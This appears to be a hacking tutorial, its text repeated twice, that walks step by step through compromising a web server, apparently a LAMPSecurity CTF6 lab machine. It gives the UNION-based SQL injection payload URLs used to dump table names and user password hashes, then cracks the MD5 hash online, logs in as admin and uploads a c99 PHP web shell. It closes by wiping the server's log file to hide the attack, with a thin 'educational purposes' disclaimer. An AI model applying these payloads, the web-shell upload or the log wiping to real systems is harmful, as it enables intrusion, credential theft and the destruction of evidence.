Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFbI0UM_eATovK5O11EsjQhQV0c-WmOzxnOV_6SqfxOo-OV1j75Vy5YYbo-TwMFxO7cmro4gOn4sLlcFD3OkHg-QIb1KmXTJvrez13k_YiaFfj37sBf8JpD2UKAPAaeloeCz87E0dVpd3foDVUoaPdKnO0E1tU5rHEvkbPMLmvzMfa=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttEr8aRDe2AwjtWaNr-Mq21u5yt4JWQuUoGopvMo1HOno0FGh8-mOYQlYw9ze4_Fc0LcJHIgJeCqyUXUCxmvxdqNn3j5KetoPsvaga1s_uy6WwxB_SAa__Sc-4BHBiYmMUakHcgKr6f4r-CeddC5yIK1LF-3_hwpTegHCSlLVG8zYhrA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ub0jV8R_WGlmyOECqyNc0qdUSzr20ZKO6nqxkrnmv4-bR0XMQDSb2T3eN_yMWxsO_22Qw2EImJvvhNlW0N2JbTTIvpKtMPrdqHsDVxzzD72z2Cjdh_CLnQSf3ZTySfLNH1ZGj4ObNzmlyqKicN5PcCzvr71WMuTHxpaKcWEM5o5FOsgQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tkHjYxHMvniy9hqa7kOOapkatSfaRkiCk05Rw5iyZKEp15j113rZqYnW51S2SCAUp4ruVj0qjjs5Sq1E98994Zk2k9aKzwSw2BeNOdQnsceipSEC8J22B21KtHhm4TFgmcnk_pr7NiJ3QPwaEPxg0KC4QB90w_WUmKzNX7sDVzZ9m7jQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1hGsqxuZ44_SK2PmEiu_sP8bhciSMV9wfdDMOuz0ohhsJns_qIPAqXuadbiGUnekMF1M57toXmGAQ91pxNslAV3wsnMppVRWq3Gj1LXezwHpNHobgVNJVvKu_S9doJV175SkqBCvwZY6c_bg6KL_zxml0GlpvIcw2hZcMrWHaj2IRlA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0BEGkBX1nPzubeSHC6w2gfXwgwilrnCu0WigOJPy08-Zb9T9BWYunddeqCGAXaA3WDgKBpztKj42Z2zy5o0udyXz5jVlDK_2iTW1fIOx_4Fd6C5vcvh2Av6XsQK2pxVomt0dIh19vrZGPGS_JrPwtUOgFnPzUJuZmxQQexDfYhdo3=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-qRUeLhszEZo-u3oy89yH8cBNucQP9X28W9u8tNJuupAJ-ofsXuOV06JWgz_47jatfHJEd-yuBDCTxCkSWtuuC3VdGjuIsFobb-t6Olmz_07hZHaHrbSp5fJlbWRYNqVRTRjgOSqW082xHC5cJquwNqEIG04FApMdoZ_OC1YjsI-7c5Y=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ur6y7Z6o4rfrjwnxajSbCtJMWS-olAMVlvG-nNwYvT3yxbFzLMm32NdsKF3jaIfW7F0cR8CyFbJluwbyi2I9NVgcLorLcilZa582DeJXCM78QC8ZL3eKVvCPS1EGPOYdiw7gju88N3ns1uHSRUUvmlNH6IXTPym3OnwwuuppQLW_9jdgo=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sLypcFdKHSkaKNHZYehQmYprB5wAaUhaAcUcrPL_vBB30rMvdNUhrQLUtfWJzk1SoDglFLc5s-_fi4P2yXSlc6cv31v6mbY6dTjsnZ9QbKKLina44CsnADjQQutkg_NVqCfOzGKrniW38Y22A6WUWdiEpob0u4wqJvLqJilyJk3LVXyOE=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u7OkUT18QoOln9VmzJQMEUbbxZIPSx2F6znUjt7tukzVozGpZoI7EEAQRCgPTLB3jLTpuEz618XvicqhXjTAHogpTLt5bW-GjvYI8E4FXWNzq8VHA5bSorSlE9ybd015qvGW6x3ryY0MsJNoZnZy1B3YNMr6SxO9X8TVsBmFIyWUXh_Y4=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2PVSToTunTjC7kZWz_dN5wRY_-0RO1v8Y7JT7mj99TgDgvjZrp3VUUZ1NBBsJFGXPNgVUfqmRpx23obHee7EH0JAtXa2i1_NMdJOnN-SMF_HkP4tvcjjzgy0-yrySNonTK68kkSd_kzUqF4EuNeDJnE27X_FH-A42jBUMtCKZsgrZYQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uvKEfIO87fDArtjL8U5hVviWOvdJP7tjWiRd4Cr20WcS50QcjNGA3uV0kJrs8Zw8y2i06GrWxSjbc8kjV0ltOVQBK8wHII6UfGnWBNA-bRtQm1fM-E1lCjFaGyV2qT0b016aL6_i8GqA1P7vMjDUh9vH5Uvmt2XUZ6NkDObPXNGLTP9_M=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHXi690r1hVJJSnlMY-SlSstaPMvF2Rm2_6Atstv_Br43t92hZQnxh2wUpiC66tSDdbm1j16HdMw-JdC97O7shqzj_p1Co9hrWduB60SGR13GxRMQw-ymdO83FgkSab9wlYQomuAxMFDU_6upueVZG_nEduaIxWGAVfkiIcpOr_Fc9D78=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_taeZqRhAp_UKuzmpGbhgc9d8q0FrSQZflggmUE9OuMg_IiW1Nqx__O7PLQrVB2cNEMdCnI37SWhKrAj6weXeARalUl-YR_fpRSl5XhAG1ePrrcQ4-eBkE-EDYvQKRD34LfVrFhSuHKpIa__tSlS6JDvbqK3451X6Aqy4h-j1IefzHgYg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vm28P6X5vqw8QIIT7tNLm9sgECjjTNIodcD4vLMPjNM388lWMhAx0gTTS0OBzUdirbxdyE-wWclz7u9cBgNbwCDCvpzDszKdPmBMof1JhI-uXB8U1iTWt0Qn4bL-uGypsDoiWN7NqjnwE5zBhD3y0WUTRdMSzVVR4143d0V0VvLETS8Q=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4gM4BSvYzlUMCvQcYBWhkMYik148dWE7sJJKj8LeratIb-Q5n_FV9CrNueVwtvCfvLKENdAZNgLFhHVvooB-yjxuESH8MS2Tjd60-NzD__rYLrMaGEv9mhVhiqzj6zt0cIbdlh69grf066oTPSeDIdlE1SZfclp2aXzrNqOa9i8yZWuk=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syo7ahMCv2qLgxEJRqhMrpq4p4HqDsTgZPvnFb1RuD9_CMC4N3gfnidf6HdnwE4Jr7zmsYRZ83nrG1Ljafe5usBUXkVKRjhjxhu28EsAbB8kBaHuhRjE12mBWd4lGTcaI1msmv0xQpcdvlUPuNBMNkGUpikm3UKxq3kt4oPhprkG9RNnE=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
